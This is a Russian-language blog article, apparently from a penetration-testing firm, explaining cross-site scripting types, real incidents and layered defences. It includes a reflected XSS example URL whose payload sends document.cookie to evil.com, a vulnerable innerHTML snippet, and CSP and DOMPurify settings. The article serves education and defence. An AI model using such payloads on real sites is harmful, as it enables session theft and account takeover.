// Безопасность / Веб

XSS: межсайтовый скриптинг — типы, атаки и защита

XSS — межсайтовый скриптинг: типы и защита

XSS (Cross-Site Scripting): внедрение чужого JavaScript, который выполняется в браузере жертвы в контексте вашего сайта. Через XSS крадут сессии, угоняют аккаунты, ставят скиммеры карт и фишат прямо на легитимном домене. Уязвимости почти 20 лет, но она в OWASP Top 10 2021 (A03) и стабильно в топе выплат bug bounty. И это одна из самых частых наших находок на пентесте веб-приложений.

Проверьте свой сайт на эти уязвимости

Мы вручную протестируем ваше веб-приложение по методологии OWASP и покажем, какие из описанных рисков реально эксплуатируются, с доказательствами и планом устранения.

Заказать пентест веб-приложений → или обсудить пентест

XSS, которые вошли в историю

  • Червь Samy (MySpace, 2005) — хранимый XSS в профиле добавлял автора в друзья и копировал себя в профиль жертвы. За ~20 часов — больше миллиона «друзей». Классика, показавшая мощь stored XSS.
  • British Airways (2018): атака Magecart: внедрённый в сайт скрипт-скиммер увёл данные ~380 000 карт. Итогом стал штраф ICO £20 млн по GDPR. XSS/инъекция скрипта = прямые деньги.
  • TweetDeck (2014): самораспространяющийся XSS-червь заставил тысячи аккаунтов автоматически ретвитить эксплойт; Twitter пришлось временно отключить сервис.

Три типа XSS с примерами и рабочими пейлоадами

1. Reflected (отражённый)

Скрипт передаётся в запросе и сразу отражается в ответе. Чаще всего это поиск без экранирования:

https://site.com/search?q=">fetch("//evil.com/?c="+document.cookie)

2. Stored (хранимый) — самый опасный

Скрипт сохраняется на сервере (комментарий, имя, отзыв, адрес) и срабатывает у каждого, кто открывает страницу. Ссылка не нужна. Один stored XSS в админ-панели = все админы скомпрометированы. Именно этот тип даёт червей вроде Samy.

3. DOM-based (DOM XSS)

Уязвимость целиком на клиенте: небезопасная работа JS с данными. Источник (source) → приёмник (sink):

// ❌ данные из URL напрямую в HTML
document.getElementById("out").innerHTML = location.hash.slice(1);
// payload: site.com/#

Актуально для SPA на React/Vue/Angular. И запомните: alert(1) в пейлоадах — это просто маркер «код выполнился». Реальная нагрузка ворует куки и токены.

Что реально делают через XSS

  • Кража сессии: отправка document.cookie (если нет HttpOnly).
  • Кража токенов из localStorage: SPA часто хранят JWT в localStorage — он полностью читается из JS. Аргумент против хранения токенов там.
  • Действия от имени жертвы: скрипт делает запросы с её правами — смена email, создание админа, перевод.
  • Скиммер карт (как British Airways) и фейковые формы логина прямо на настоящем домене.
  • BeEF-хук: полный контроль над браузером жертвы.

Как защититься от XSS: пять слоёв, а не чёрный список

Фильтровать «запрещённые слова» бесполезно — обходится атрибутами, событиями, SVG, кодированием. Работает многослойная защита:

  1. Контекстное экранирование вывода. HTML, атрибут, JS и URL требуют разного экранирования. Используйте API фреймворка, не ручную склейку строк.
  2. Content Security Policy (CSP). Нейтрализует большинство XSS даже при наличии инъекции.
  3. DOMPurify для пользовательского HTML; в React/Vue избегайте dangerouslySetInnerHTML/v-html.
  4. HttpOnly + Secure + SameSite на cookie сессии — тогда сработавший XSS не украдёт сессию.
  5. Валидация ввода как дополнительный барьер.
# строгая CSP, нейтрализующая большинство XSS
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  base-uri 'none'; frame-ancestors 'none'

# безопасная очистка пользовательского HTML
import DOMPurify from "dompurify";
el.innerHTML = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ["b","i","a","p","ul","li"] });

Экспертное наблюдение: самые дорогие XSS живут не в блоге, а на «служебных» путях, письма-уведомления, PDF-генераторы, экспорты, админ-логи. Разработчик экранировал вывод в шаблоне сайта, но забыл про рассылку, которую открывает бухгалтер или админ с полными правами. Мы всегда проверяем именно эти неочевидные приёмники.

Как это тестируется

Найти XSS во всех контекстах вывода можно только ручной проверкой каждой точки ввода: формы, параметры URL, заголовки (Referer, User-Agent), загружаемые файлы (имена, метаданные), импортируемые данные. Для SPA отдельно трассируется цепочка source→sink. Делаем это на пентесте веб-приложений и пентесте SPA.

На вашем сайте точно нет XSS?

Проверим все точки ввода и контексты вывода — reflected, stored и DOM-based, включая письма и экспорты — и покажем, как закрыть.

Заказать пентест →

Читайте также: IDOR на практике, Пентест SPA.

Профильные услуги SecurityLab: тестирование на проникновение · пентест веб-приложений · Соответствие NIS2 и DORA.

← назад в блог